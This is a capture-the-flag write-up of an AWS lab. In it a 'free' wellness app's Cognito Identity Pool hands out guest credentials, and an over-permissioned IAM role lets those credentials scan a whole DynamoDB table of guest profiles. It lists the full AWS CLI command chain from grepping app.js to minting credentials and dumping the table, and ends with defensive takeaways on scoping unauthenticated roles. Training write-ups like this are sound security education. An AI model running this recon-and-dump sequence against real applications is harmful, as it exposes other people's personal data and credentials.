Hacker Holidays — Day 3: Complimentary
A "free" wellness app hands out unauthenticated Cognito guest credentials, and an over-scoped IAM role lets those guest credentials Scan the entire DynamoDB table instead of just one record.

Event: Hacker Holidays — The Byte Lotus Hotel · Day 3 · ☁️ Cloud (AWS) Target:
http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/
The Setup
A “free, no-login” wellness app hosted as an S3 static website. It knows your name
the moment you open it — so something is issuing it AWS credentials with no
authentication. That something is a Cognito Identity Pool configured to hand out
unauthenticated (guest) credentials, and the IAM role behind those creds is
over-permissioned: it allows dynamodb:Scan, so a “guest” can read every profile,
not just their own.
Bug class: Cognito unauthenticated identity + over-scoped IAM role → IDOR-at-the-cloud-layer.
Step 1 — Find the Credential Mechanism
The site is static, so the AWS wiring lives in the client JS. Pull app.js and grep it:
curl -s http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.js | grep -iE "IdentityPoolId|cognito|region|us-east-1"
// credentials from our Cognito Identity Pool so we can save wellness
const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
AWS.config.credentials = new AWS.CognitoIdentityCredentials({ IdentityPoolId: IDENTITY_POOL_ID, ... });
const dynamodb = new AWS.DynamoDB({ region: AWS_REGION });
CognitoIdentityCredentials with no login provider = anyone can get guest creds.
Also grab the table name:
curl -s .../app.js | grep -iE "TABLE_NAME"
const TABLE_NAME = "complimentary-GuestWellnessProfiles";
The app itself only does a scoped getItem on your own byteLotusGuestId (from
localStorage) — that’s the intended access. The weakness is the role permits more.
Step 2 — Mint Unauthenticated Guest Credentials
Get an identity from the pool (no --logins = guest):
aws cognito-identity get-id \
--identity-pool-id us-east-1:836c0949-292d-485b-b532-52d5ca7bb688 \
--region us-east-1
{ "IdentityId": "us-east-1:4d571309-b06b-c1d7-2e63-42ac0e40f12a" }
Redeem it for temporary AWS credentials:
aws cognito-identity get-credentials-for-identity \
--identity-id "us-east-1:4d571309-b06b-c1d7-2e63-42ac0e40f12a" \
--region us-east-1
{ "Credentials": { "AccessKeyId": "ASIA...", "SecretKey": "...", "SessionToken": "..." } }
Export them:
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
Confirm which role we assumed — note the tell-tale name cognito-unauth-role:
aws sts get-caller-identity
{
"Account": "332173347248",
"Arn": "arn:aws:sts::332173347248:assumed-role/complimentary-cognito-unauth-role/CognitoIdentityCredentials"
}
Step 3 — Dump More Than Your Own Record
The app scopes itself to getItem — but the role also allows Scan, which ignores the
key and returns the whole table:
aws dynamodb scan --table-name complimentary-GuestWellnessProfiles --region us-east-1
All 5 guest profiles came back (names, emails, phones, plaintext passwords, GPS coords). The flag is in guest-vip-042’s record, which conveniently documents the exact vuln:
{
"guest_id": { "S": "guest-vip-042" },
"name": { "S": "Guest VIP-042" },
"notes": { "S": "If you're reading this, the wellness app's guest role can read every profile, not just its own. THM{redacted}" }
}
The other records also tie back to the recurring cast — Ponzi, Vibe, Patch, Lambo (@0xMia) — the same trusted guests from Day 1’s VERA prompt.
Takeaways
- Client-side ≠ access control. The app only asks for its own row via
getItem, but the enforcement was never in the app — it’s in IAM. Because the role granteddynamodb:Scanon the whole table, the client-side scoping was cosmetic. - Cognito unauthenticated roles are a real attack surface. If a pool allows
unauthenticated identities, treat its unauth IAM role as public. Scope it to the
caller’s own item — e.g.
dynamodb:LeadingKeyscondition tying the partition key to${cognito-identity.amazonaws.com:sub}— and never grantScan/Queryacross all keys. - Sensitive data + plaintext passwords in DynamoDB made the dump far worse than “just a flag.”
- Recon pattern worth keeping: S3 static site → grep
app.jsforIdentityPoolId/ region / table →get-id→get-credentials-for-identity→scan.
Flag
THM{redacted}